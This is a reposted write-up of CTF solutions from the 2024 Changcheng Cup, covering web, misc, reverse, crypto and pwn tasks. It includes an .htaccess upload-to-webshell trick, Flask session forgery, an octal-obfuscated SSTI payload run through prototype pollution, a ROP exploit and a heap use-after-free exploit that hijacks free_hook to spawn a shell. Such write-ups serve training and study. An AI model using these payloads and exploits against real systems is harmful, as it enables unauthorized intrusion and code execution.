2024长城杯WP - 渗透测试中心
2024-10-8 09:23:0 Author: www.cnblogs.com(查看原文) 阅读量:11 收藏

WEB

SQLUP

打开题目给了一个登录页面结合名字猜测为SQL注入

查看源码发现有hint提示开发者使用的是模式匹配

所以我尝试使用%来模糊匹配,登陆成功

username=admin&password=%

进入面板之后发现有一个文件上传功能

尝试上传php文件,结果被waf,文件名字不能出现p

我想到了使用.htaccess文件来解析gif文件来getshell
先上传.htaccess文件, 将1.gif当作php解析

<FilesMatch "1.gif">
SetHandler application/x-httpd-php
</FilesMatch>

接着上传1.gif文件

之后访问uploads/1.gif即可getshell,但是还需要提权读取flag

寻找提权命令

find / -perm -u=s -type f 2>/dev/null

发现tac命令可以使用

CandyShop

源码如下

import datetime
from flask import Flask, render_template, render_template_string, request, redirect, url_for, session, make_response
from wtforms import StringField, PasswordField, SubmitField
from wtforms.validators import DataRequired, Length
from flask_wtf import FlaskForm
import re


app = Flask(__name__)

app.config['SECRET_KEY'] = 'xxxxxxx'

class RegistrationForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
    password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
    submit = SubmitField('Register')

class LoginForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
    password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
    submit = SubmitField('Login')

class Candy:
    def __init__(self, name, image):
        self.name = name
        self.image = image

class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password

    def verify_password(self, username, password):
        return (self.username==username) & (self.password==password)
class Admin:
    def __init__(self):
        self.username = ""
        self.identity = ""

def sanitize_inventory_sold(value):
    return re.sub(r'[a-zA-Z_]', '', str(value))
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

candies = [Candy(name="Lollipop", image="images/candy1.jpg"),
    Candy(name="Chocolate Bar", image="images/candy2.jpg"),
    Candy(name="Gummy Bears", image="images/candy3.jpg")
]
users = []
admin_user = []
@app.route('/register', methods=['GET', 'POST'])
def register():
    form = RegistrationForm()
    if form.validate_on_submit():
        user = User(username=form.username.data, password=form.password.data)
        users.append(user)
        return redirect(url_for('login'))

    return render_template('register.html', form=form)

@app.route('/login', methods=['GET', 'POST'])
def login():
    form = LoginForm()
    if form.validate_on_submit():
        for u in users:
            if u.verify_password(form.username.data, form.password.data):
                session['username'] = form.username.data
                session['identity'] = "guest"
                return redirect(url_for('home'))

    return render_template('login.html', form=form)

inventory = 500
sold = 0
@app.route('/home', methods=['GET', 'POST'])
def home():
    global inventory, sold
    message = None
    username = session.get('username')
    identity = session.get('identity')

    if not username:
        return redirect(url_for('register'))

    if sold >= 10 and sold < 500:
        sold = 0
        inventory = 500
        message = "But you have bought too many candies!"
        return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)

    if request.method == 'POST':
        action = request.form.get('action')
        if action == "buy_candy":
            if inventory > 0:
                inventory -= 3
                sold += 3
            if inventory == 0:
                message = "All candies are sold out!"
            if sold >= 500:
                with open('secret.txt', 'r') as file:
                    message = file.read()

    return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)


@app.route('/admin', methods=['GET', 'POST'])
def admin():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    admin = Admin()
    merge(session,admin)
    admin_user.append(admin)
    return render_template('admin.html', view='index')

@app.route('/admin/view_candies', methods=['GET', 'POST'])
def view_candies():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    return render_template('admin.html', view='candies', candies=candies)

@app.route('/admin/add_candy', methods=['GET', 'POST'])
def add_candy():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    candy_name = request.form.get('name')
    candy_image = request.form.get('image')
    if candy_name and candy_image:
        new_candy = Candy(name=candy_name, image=candy_image)
        candies.append(new_candy)
    return render_template('admin.html', view='add_candy')

@app.route('/admin/view_inventory', methods=['GET', 'POST'])
def view_inventory():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    inventory_value = sanitize_inventory_sold(inventory)
    sold_value = sanitize_inventory_sold(sold)
    return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)

@app.route('/admin/add_inventory', methods=['GET', 'POST'])
def add_inventory():
    global inventory
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    if request.form.get('add'):
        num = request.form.get('add')
        inventory += int(num)
    return render_template('admin.html', view='add_inventory')

@app.route('/')
def index():
    return render_template('index.html')

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=1337)

爆破session key得到 a123456

flask-unsign -u -c "eyJjc3JmX3Rva2VuIjoiYmI5N2MxMGJhYTlhZTUzZDhiMTQ5NWVkNTVkZjcxNjQ0OTc0NjY4ZiIsImlkZW50aXR5IjoiZ3Vlc3QiLCJ1c2VybmFtZSI6IjEyMyJ9.Zt0WUA.FitsqnryV6luxUpGkUgwqDK8UDA"

session解密

┌──(kali㉿kali)-[~/Desktop/flask-session-cookie-manager-master]
└─$ python2 flask_session_cookie_manager2.py decode -c .eJwNy8EKgCAMANB_2blDqW3Sz4S2LSQ0SDtE9O95ffBe2OqlazsPKbAAT6weoyhNihZn44PGjZwjGxGRrHBwZEYYILGUltrT135LbZ3uKlcJWToFzqnA9wOF2h3A.Zt025A.Z9OU_8Xax0lafOyjFTrx1WJ90qc

{"csrf_token":"d1df86bef71f636528afbc74473b66673eda4720","identity":"guest","username":"admin"}

伪造加密session

┌──(kali㉿kali)-[~/Desktop/flask-session-cookie-manager-master]
└─$ python3 flask_session_cookie_manager3.py encode -s a123456 -t '{"csrf_token":"d1df86bef71f636528afbc74473b66673eda4720","identity":"admin","username":"admin"}'

eyJpZGVudGl0eSI6ImFkbWluIiwidXNlcm5hbWUiOiIxMjMifQ.Zt0hvg.ej8rVrvsHOttUQIIMgmE2w0kSto

伪造污染inventory

python3 flask_session_cookie_manager3.py encode -s a123456 -t "{'identity':'admin','username':'123','__init__':{'__globals__':{'inventory':'{{7*7}}'}}}"

观察源码发现存在原型链污染

@app.route('/admin', methods=['GET', 'POST'])

def admin():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    admin = Admin()
    merge(session,admin)
    admin_user.append(admin)

    return render_template('admin.html', view='index')

并发现存在ssti漏洞

@app.route('/admin/view_inventory', methods=['GET', 'POST'])

def view_inventory():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    inventory_value = sanitize_inventory_sold(inventory)
    sold_value = sanitize_inventory_sold(sold)
    return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)

结合原型链污染,我们可以污染全局变量inventory来造成ssti

{"__init__":{"__globals__":{"inventory":"{{7*7}}"}}

但是源码过滤了字母和下划线

def sanitize_inventory_sold(value):
    return re.sub(r'[a-zA-Z_]', '', str(value))

尽管禁用了字母但还可以用八进制绕过!
使用脚本伪造payload

input = "cat /tmp/9fb871d06639d7665f8c2005f87200fe/e586231aabe38cf5befd176a1ff25fec/6a5d614cfdcd840afead8e3497595126/flag"

print("\\'", end="")

for letter in input:

    #print(hex(ord(letter)).replace("0x", r"\x"), end="")

    #print(hex(ord(letter)).replace("0x", r"\u00"), end="")

    print(oct(ord(letter)).replace("0o", "\\\\"), end="")

print("\\'")

#python flask_session_cookie_manager3.py encode -s a123456 -t "{'csrf_token':'d1df86bef71f636528afbc74473b66673eda4720','identity':'admin','username':'admin','__init__':{'__globals__':{'inventory':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\155\\162\\157\\137\\137\'][1][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[132][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\160\\157\\160\\145\\156\'](\'\\143\\141\\164\\40\\57\\164\\155\\160\\57\\71\\146\\142\\70\\67\\61\\144\\60\\66\\66\\63\\71\\144\\67\\66\\66\\65\\146\\70\\143\\62\\60\\60\\65\\146\\70\\67\\62\\60\\60\\146\\145\\57\\145\\65\\70\\66\\62\\63\\61\\141\\141\\142\\145\\63\\70\\143\\146\\65\\142\\145\\146\\144\\61\\67\\66\\141\\61\\146\\146\\62\\65\\146\\145\\143\\57\\66\\141\\65\\144\\66\\61\\64\\143\\146\\144\\143\\144\\70\\64\\60\\141\\146\\145\\141\\144\\70\\145\\63\\64\\71\\67\\65\\71\\65\\61\\62\\66\\57\\146\\154\\141\\147\')[\'\\162\\145\\141\\144\']()}}'}}}"



#{{''['\\137\\137\\143\\154\\141\\163\\163\\137\\137']}}

# __class__;\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'

# __mro__:\'\\137\\137\\155\\162\\157\\137\\137\'

# __base__: \'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'

#__subclasses__:\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\'  [132]

#__init__:\'\\137\\137\\151\\156\\151\\164\\137\\137\'

#__globals__:\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'

#popen: \'\\160\\157\\160\\145\\156\'

# cat /f*;\'\\143\\141\\164\\40\\57\\146\\52\'
PS C:\Users\86150\Desktop\flask-session-cookie-manager-1.2.1.1> python flask_session_cookie_manager3.py encode -s a123456 -t "{'csrf_token':'d1df86bef71f636528afbc74473b66673eda4720','identity':'admin','username':'admin','__init__':{'__globals__':{'inventory':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\155\\162\\157\\137\\137\'][1][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[132][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\160\\157\\160\\145\\156\'](\'\\143\\141\\164\\40\\57\\164\\155\\160\\57\\71\\146\\142\\70\\67\\61\\144\\60\\66\\66\\63\\71\\144\\67\\66\\66\\65\\146\\70\\143\\62\\60\\60\\65\\146\\70\\67\\62\\60\\60\\146\\145\\57\\145\\65\\70\\66\\62\\63\\61\\141\\141\\142\\145\\63\\70\\143\\146\\65\\142\\145\\146\\144\\61\\67\\66\\141\\61\\146\\146\\62\\65\\146\\145\\143\\57\\66\\141\\65\\144\\66\\61\\64\\143\\146\\144\\143\\144\\70\\64\\60\\141\\146\\145\\141\\144\\70\\145\\63\\64\\71\\67\\65\\71\\65\\61\\62\\66\\57\\146\\154\\141\\147\')[\'\\162\\145\\141\\144\']()}}'}}}"

.eJx9UttugzAM_RdeWKU9kMR2qv5KOyEoMKG1VGrZpAnx78vFbgOd-oDl2MfnHIdM2fF27crx8tUO2S5rVNNtqW47qzoyhHpbdfXRAlhTE5E1bVOB1UX2nvVNO4z9-OumqubcD670fWuvQ3Vuk1JZ9kM_lmW2m1z-ebrU1ekWj_3w4xguV88wTXm-zw8HZawEMC4g-Ey5QEYCQ_KP1QCiR2if2QVMrZGRy8NBv1ICfNJ82-yV0U_Sfg5JMoIXNsGKWrAZHSip_bMhFYINWTCF5Kzk4h1EFBwgIuF-IVyyHgPEitZVyVUpVB3Yw4j4MwIHRkkDmcMWLO2vO4wWq24YS5osjezPJx5vRVZH2ejnEbRgTSIauJLfh3d6iAziOZDQY3ERwtRPoMTFBAoXMR-kyqHFR-AVQLZUS2qVgO6LeLQVm8g5spSOsvGWaPEwweab-CL0SsC_y3nO5nn-A-EVDjQ.Zt1CFQ.mbfc47fCCO-papkcsSiUKBJXNaI

MISC

BrickGame

漏洞探踪,流量解密

第一阶段发现上传了图片马,并通过访问gateway传参执行了命令

然后在日志中可以看到上传gateway.php的主机ip地址为192.168.30.234

因此压缩包密码为192.168.30.234

打开压缩包,还是一个流量文件,用wireshark打开,导出http流,查看其中gateway.php文件中执行的命令和回显。

在某一个文件中找到了提示,加密方式是RC4

在剩余文件中找到了key和raw,即秘钥和密文

把raw前面的key删了用rc4解密就得到flag了

分析第二个流量包,发现使用命令从192.168.1.5 下载了raw和key


得到了加密的flag和key后,在后续流量包提示加密为RC4:

解密得到flag

from Crypto.Cipher import ARC4
raw = bytes.fromhex("5a76f6751576dbe1af49328aa1d2d2bea16ef62afa3a7c616d")
key = bytes.fromhex("bdb8e21eace81d5fd21ca445ccb35071")
cipher = ARC4.new(key)
plaintext = cipher.decrypt(raw)

最安全的加密方式

flag: flag{The_m0st_2ecUre_eNcrYption!!!}
流量包一开始有很多数据库的流量,未知
直接筛选http协议,发现有三个post请求,一个上传了php文件,一个上传了图片,一个上传了压缩包

下载附件打开,用Wireshark打开流量,点击左上角文件里的导出对象里的http,将里面的文件全部导出

将每个文件依次使用记事本打开,发现index(3).php和index(6).php文件里的内容与其他不同,打开index(6).php发现rar头

然后进入wireshark将将它进行原始数据进行转换,转换之后将红色部分的原始数据在010中创建一个16进制文件如何将红色部分的在010中按crl+shift+v复制下来将多余的数据删掉,前面找到rar部分,最前面都删掉,后面的---的全部删掉,得到一个压缩包,需要密码,在另一个文件中找到密码

使用php脚本中的pass可以打开压缩包,发现文本文件flag.txt
貌似是单个字符的md5,直接爆破:

import hashlib
from string import printable as all

charset = all
data = open("flag.txt", "r").readlines()

md5s = dict()
for i in charset:
    md5s[hashlib.md5(i.encode()).hexdigest()] = i

print("".join([md5s[i.strip()] for i in data]))

Reverse

easyre

根据反编译代码结合动调后发现只是简单的异或,但只能得到部分flag,后来发现在比较的数据下面有更全的加密后数据,提取出来解密可得

tmaze

动态调试发现迷宫存在内存中,利用地址跳转来走迷宫。经分析后发现和之前数字中国创新大赛半决赛的 HardTree 大同小异,直接把之前的脚本改改就能用了。

首先开启动调后将迷宫所在的内存使用脚本dump出来

屏幕截图 2024-09-08 132524

得到flag{4bb5dac3-c578-66a2-d97a-664be7965820}

CRYPTO

RandomRSA

普遍意义上来说,nextprime不会超出枚举范围,两层组合,复杂度上来看也依然可以尝试,

n的结构很简单的二元式子,flag也证明了只需爆破,一些格的做法这里似乎找不到合适的放缩,维度也较低,故而放弃

from Crypto.Util.number import *
from sympy.ntheory.residue_ntheory import nthroot_mod

p = 170302223332374952785269454020752010235000449292324018706323228421794605831609342383813680059406887437726391567716617403068082252456126724116360291722050578106527815908837796377811535800753042840119867579793401648981916062128752925574017615120362457848369672169913701701169754804744410516724429370808383640129
a = 95647398016998994323232737206171888899957187357027939982909965407086383339418183844601496450055752805846840966207033179756334909869395071918100649183599056695688702272113280126999439574017728476367307673524762493771576155949866442317616306832252931038932232342396406623324967479959770751756551238647385191314
b = 122891504335833588148026640678812283515533067572514249355105863367413556242876686249628488512479399795117688641973272470884323873621143234628351006002398994272892177228185516130875243250912554684234982558913267007466946601210297176541861279902930860851219732696973412096603548467720104727887907369470758901838
n = 5593134172275186875590245131682192688778392004699750710462210806902340747682378400226605648011816039948262008066066650657006955703136928662067931212033472838067050429624395919771757949640517085036958623280188133965150285410609475158882527926240531113060812228408346482328419754802280082212250908375099979058307437751229421708615341486221424596128137575042934928922615832987202762651904056934292682021963290271144473446994958975487980146329697970484311863524622696562094720833240915154181032649358743041246023013296745195478603299127094103448698060367648192905729866897074234681844252549934531893172709301411995941527
c = 2185680728108057860427602387168654320024588536620246138642042133525937248576850574716324994222027251548743663286125769988360677327713281974075574656905916643746842819251899233266706138267250441832133068661277187507427787343897863339824140927640373352305007520681800240743854093190786046280731148485148774188448658663250731076739737801267702682463265663725900621375689684459894544169879873344003810307496162858318574830487480360419897453892053456993436452783099460908947258094434884954726862549670168954554640433833484822078996925040310316609425805351183165668893199137911145057639657709936762866208635582348932189646
e = 65537

for k1 in range(1000):
    for k2 in range(1000):
        A = a
        B = b + k2 + k1 * a
        C = k1 * (b + k2) - n
        # Ax^2 + Bx + C - n = 0
        # 求根公式
        delta = nthroot_mod(B**2 - 4 * A * C,2,p)
        p1 = (-B + delta) * inverse(2 * A, p) % p + k1
        p2 = (-B - delta) * inverse(2 * A, p) % p + k1
        if n % p1 == 0:
            p = p1
            q = n // p
            d = inverse(e, (p - 1) * (q - 1))
            print(long_to_bytes(pow(c, d, n)))
        elif n % p2 == 0:
            p = p2
            q = n // p
            d = inverse(e, (p - 1) * (q - 1))
            print(long_to_bytes(pow(c, d, n)))


大约3h

‍ b'flag{j1st_e_s1mp1e_b3ute}' ‍

PWN

FlowerShop

from pwn import*
context(os='linux',arch='amd64',log_level='debug')
p=process('./pwn')
elf=ELF('./pwn')
bin_sh=0x601840
pay=b'\x00'*52+b'pwn\x00'+b'\xff\xff\xff\xff'
p.send(pay)
p.sendline(b'a')
p.sendline(b'c')
p.sendline(str(1))
p.sendline(b'a')
p.sendline(str(1))
p.sendline(b'a')
p.sendline(str(1))
p.sendline(b'b')
rdi=0x0000000000400f13
payload=b'a'*0x18+p64(rdi)+p64(bin_sh)+p64(rdi+1)+p64(0x400730)

p.send(payload)
p.sendline(str(1))

p.interactive()

Kylin_Heap

image

漏洞点位于free这个地方,由于没有清空指针造成的uaf,通过这个即可泄露地址和进行任意地址写,由于libc版本为2.31,所以劫持free_hook

from pwn import *
import json
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p=remote("IP",PORT)
elf = ELF('./Heap')
libc = ELF('./libc-2.31-0kylin9.2k0.2.so')

def add(size,content):
        sla(b'What will you do, adventurer? ',b'1')
        sla(b'Enter the size of the block you wish to summon (1 to 1280 bytes): ',str(size))
        sla(b'bytes):\n',content)

def free(idx):
        sla(b'What will you do, adventurer? ',b'2')
        sla(b'index (0-19): ',str(idx))

def edit(idx,content):
        sla(b'What will you do, adventurer? ',b'3')
        sla(b'index (0-19): ',str(idx))
        sla(b'bytes):\n',content)

def show(idx):
        sla(b'What will you do, adventurer? ',b'4')    
        sla(b'index (0-19): ',str(idx))

add(0x460,b'a'*0x10)
add(0x20,b'a'*8)
free(0)
show(0)
p.recvline()
libc_base=u64(p.recv(6).ljust(8,b'\x00'))

free_hook=libc_base+0x2f48
malloc_hook=libc_base-0x70

for i in range(9):
        add(0x68,b'a'*1)
for i in range(9):
        free(i+1)
system=libc_base-0x1967d0
edit(9,p64(free_hook-0x10))
for i in range(7):
        add(0x68,b'a'*8)
add(0x68,b'/bin/sh\x00'*1)
add(0x68,b'/bin/sh\x00'*1)
edit(19,p64(system))
print(hex(libc_base))
free(18)
p.interactive()

转自参考原文连接地址:


文章来源: https://www.cnblogs.com/backlion/p/18451006
如有侵权请联系:admin#unsafe.sh